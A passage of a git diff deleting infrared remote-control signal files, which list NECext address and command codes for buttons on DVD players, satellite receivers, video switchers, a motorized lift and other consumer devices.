00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 09 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0A 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0C 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0D 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 0E 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 11 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 12 00 00 00 -# -name: searchforward -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 15 00 00 00 -# -name: searchback -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 16 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 20 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 21 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 22 00 00 00 -# -name: searchmode -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 23 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 29 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2A 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2D 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2E 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 2F 00 00 00 -# -name: atob -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 30 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 32 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 34 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 36 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 37 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 38 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3C 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 1D 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir deleted file mode 100644 index 5d7d4d3fe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 80 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 81 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 82 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 83 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 84 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 85 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 86 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 87 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 88 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 89 00 00 00 -# -name: change -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 8A 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 8B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 8C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 8D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 8E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 8F 00 00 00 -# -name: game/remote -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 90 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir deleted file mode 100644 index d71507907..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: >_^ -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 00 00 00 00 -# -name: 3_F -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 01 00 00 00 -# -name: 2_T -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 02 00 00 00 -# -name: 1_G -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 03 00 00 00 -# -name: <_V -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 04 00 00 00 -# -name: 6_X -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 05 00 00 00 -# -name: 5_W -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 06 00 00 00 -# -name: 4_S -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 07 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 08 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 09 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 0A 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 0B 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 0C 00 00 00 -# -name: 9_K -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 0D 00 00 00 -# -name: 8_M -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 0E 00 00 00 -# -name: 7_A -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 0F 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 11 00 00 00 -# -name: 0_Z -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 12 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 13 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 14 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 15 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 16 00 00 00 -# -name: MESSAGE -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 17 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 18 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 19 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 1A 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 1B 00 00 00 -# -name: CHAN -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 1C 00 00 00 -# -name: TUNE -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 1D 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 1E 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 84 63 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir deleted file mode 100644 index 7d4e7fc6d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INPUT_1_(A) -type: parsed -protocol: NECext -address: 31 EB 00 00 -command: 83 00 00 00 -# -name: INPUT_2_(A) -type: parsed -protocol: NECext -address: 31 EB 00 00 -command: 84 00 00 00 -# -name: INPUT_3_(A) -type: parsed -protocol: NECext -address: 31 EB 00 00 -command: 85 00 00 00 -# -name: INPUT_4_(A) -type: parsed -protocol: NECext -address: 31 EB 00 00 -command: 86 00 00 00 -# -name: INPUT_5_(A) -type: parsed -protocol: NECext -address: 31 EB 00 00 -command: 87 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir deleted file mode 100644 index 9b4219153..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 0E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 10 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 12 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 13 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 15 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 16 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 17 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 18 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 19 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 1F 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 44 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 4C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 4D 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 4E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 50 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 54 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 56 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 59 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 5A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 5D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 80 67 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir deleted file mode 100644 index 0c09c7994..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir +++ /dev/null @@ -1,44 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 2 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 1D 00 00 00 -# -name: DOWN_(RT_TOP) -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 1D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 40 00 00 00 -# -name: UP_(LT_TOP) -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 40 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 41 00 00 00 -# -name: DOTTON_RT -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 41 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 13 00 00 -command: 43 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir deleted file mode 100644 index 065089129..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir +++ /dev/null @@ -1,68 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 00 00 00 00 -# -name: PRESET_1 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 03 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 03 00 00 00 -# -name: PRESET_2 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 04 00 00 00 -# -name: IN/OUT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 05 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 06 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 07 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 08 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 09 00 00 00 -# -name: PRESET_3 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 10 00 00 00 -# -name: PRESET_4 -type: parsed -protocol: NECext -address: 30 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir deleted file mode 100644 index d5db9ba35..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 09 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0A 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 0E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 11 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 12 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 15 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 16 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 19 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1A 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1D 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 1E 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 21 00 00 00 -# -name: ANGEL -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 22 00 00 00 -# -name: TITEL_+_KAPITEL -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 25 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 26 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 29 00 00 00 -# -name: CK -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 2A 00 00 00 -# -name: SUB_TITLE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 2D 00 00 00 -# -name: KAPITEL_< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 31 00 00 00 -# -name: KAPITEL_> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 32 00 00 00 -# -name: ZEITLUPE_< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 35 00 00 00 -# -name: ZEITLUPE_> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 39 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3D 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 3E 00 00 00 -# -name: OPTION -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 41 00 00 00 -# -name: ZUFALLSWIEDERGABE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 42 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 45 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 46 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 49 00 00 00 -# -name: SUCHLAUF_<< -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4A 00 00 00 -# -name: SUCHLAUF_>> -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 4E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1A 00 00 00 -command: 51 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir deleted file mode 100644 index f1d53013c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 02 00 00 00 -# -name: SCART-1 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 02 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 05 00 00 00 -# -name: SCART-2 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 06 00 00 00 -# -name: FBAS/SDI-1 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 09 00 00 00 -# -name: FBAS/SDI-2 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 09 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 0A 00 00 00 -# -name: S-VIDEO-1 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 0A 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 0D 00 00 00 -# -name: S-VIDEO-2 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 0D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 0E 00 00 00 -# -name: YUV-1 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 0E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 11 00 00 00 -# -name: YUV-2 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 11 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 12 00 00 00 -# -name: BYPASS_RGB -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 12 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 15 00 00 00 -# -name: BYPASS_VGA -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 15 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 16 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 1E 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 26 00 00 00 -# -name: LENSSHIFT_UP -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 2E 00 00 00 -# -name: RESOLUTION -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 31 00 00 00 -# -name: ASPECT_RATIO -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 32 00 00 00 -# -name: LENSSHIFT_DOWN -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 35 00 00 00 -# -name: OVERSCAN -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 36 00 00 00 -# -name: TV_MODE -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 39 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 3A 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 3E 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 41 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 45 00 00 00 -# -name: OPTION_A -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 46 00 00 00 -# -name: OPTION_B -type: parsed -protocol: NECext -address: 1B 01 00 00 -command: 49 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir deleted file mode 100644 index 66c22beef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 06 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 09 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 0A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 20 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 21 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 28 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 29 00 00 00 -# -name: RECORDED_TV -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 44 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 54 00 00 00 -# -name: EXIT_TO_TV -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 55 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 5A 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 23 40 00 00 -command: 86 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir deleted file mode 100644 index c4e56a497..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 6_AXIS -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 07 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 08 00 00 00 -# -name: DOLBY -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 0E 00 00 00 -# -name: CENTER+ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 15 00 00 00 -# -name: CNTR_ON/OFF -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 17 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 19 00 00 00 -# -name: RZ_1_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 25 00 00 00 -# -name: RZ_2_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 26 00 00 00 -# -name: RZ_3_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 27 00 00 00 -# -name: RZ_4_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 28 00 00 00 -# -name: RZ_5_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 29 00 00 00 -# -name: RZ_6_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 2A 00 00 00 -# -name: RZ_VOL_UP -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 2C 00 00 00 -# -name: RZ_VOL_DN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 2D 00 00 00 -# -name: RZ_OFF -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 2E 00 00 00 -# -name: RZ_VOL_MUTE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 2F 00 00 00 -# -name: CURSOR_LF -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 41 00 00 00 -# -name: A_1_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 42 00 00 00 -# -name: D_3_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 43 00 00 00 -# -name: D_4_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 44 00 00 00 -# -name: D_5_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 45 00 00 00 -# -name: A_2_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 46 00 00 00 -# -name: D_6_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 47 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 48 00 00 00 -# -name: CURSOR_RT -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 49 00 00 00 -# -name: RECORD_ZONE_II -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 49 00 00 00 -# -name: A_3_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4A 00 00 00 -# -name: CURSOR_DN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 4B 00 00 00 -# -name: A_4_IN -type: parsed -protocol: NECext -address: 84 42 00 00 